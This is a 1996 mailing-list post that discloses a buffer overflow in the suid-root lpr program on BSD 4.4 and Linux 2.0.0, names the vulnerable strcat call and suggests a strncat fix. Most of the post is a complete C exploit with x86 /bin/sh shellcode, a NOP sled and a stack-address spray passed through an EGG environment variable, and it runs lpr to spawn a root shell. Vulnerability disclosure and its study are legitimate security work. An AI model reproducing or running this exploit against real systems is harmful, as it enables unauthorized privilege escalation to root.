Buffer overflow in "lpr"

a42n8k9 (a42n8k9@REDROSE.NET)
Thu, 04 Jul 1996 12:52:45 -0400

This is my first post to this list, so excuse me please if I wind up
restating the obvious.

I have found a Buffer overflow condition in the lpr program. The source
code used was from
BSD 4.4 and tested Linux 2.0.0

The size of the buffer to target is 1023 bytes, which can be verified by
creating a string
of 1023 characters and using it as the filename.

lpr ffffffffff.......ffff (to 1023 characters)

If I'm not mistaken this should show if a vulnerability exists.
Personally I created an incremental script and let it run until it
faulted.

I believe the offensive code to be:

static char *linked(register char *file) {
register char *cp;
static char buf[BUFSIZ];
.
.
.
strcat(buf, "/");
-------------> strcat(buf, file);
.
.
.
}

Perhaps a fix would be to use the line "strncat(buf, file, BUFSIZ)"
but that would stop
lpr from processing a file with a name greater than BUFSIZ characters.

Below is an exploit to show that the overflow can yield a root shell due
to the fact that lpr is suid root.

------- BEGIN HERE
-----------------------------------------------------------------------------

/*
* lpr_exploit.c - Buffer overflow exploit for the lpr program. Adapted
* from code found in "stack smashing..." by Aleph One
* aleph1@underground.org
*
* "wisdom is knowledge passed from one to another", Thanks Aleph1
*
* This program takes advantage of the buffer overflow condition preset
* in lpr program.
* This program is meant as demonstration only, and the author claims
* no resposibility for its use or misuse.
* - a42n8k9
*/

#include <stdlib.h>

#define DEFAULT_OFFSET 1023
#define DEFAULT_BUFFER_SIZE 2289
#define NOP 0x90

/*
* The hex representation of the code to produce an interactive shell.
* Oviously since this is for a Linux Box, you may need to generate the
* right set for your OS if you are porting this to another UNIX system.
*/
char shellcode [] =

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void)
{ __asm__("mov %esp,%eax"); }

void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;

/* set aside the memory for our shell code */
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}

/* Get the address of our stack pointer */
addr = get_sp() - offset;

/* fill our buffer with its address */
ptr = buff;
addr_ptr = (long *)ptr;
for(i = 0; i<bsize; i+=4)
*(addr_ptr++) = addr;

/* fill the first half of the buffer with NOPs */
for(i=0;i<bsize/2;i++)
buff[i] = NOP;

/* add in our shell code */
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for(i=0;i<strlen(shellcode);i++)
*(ptr++) = shellcode[i];

/* terminate the string */
buff[bsize - 1] = '\0';

/* load the string into an environment variable */
memcpy(buff,"EGG=",4);
putenv(buff);

/*
* execute the shell command, thus exploiting the overflow
* since lpr is suid root, a root shell will be spawned
*/
system("lpr $EGG");
}

-------- END HERE
-----------------------------------------------------------------------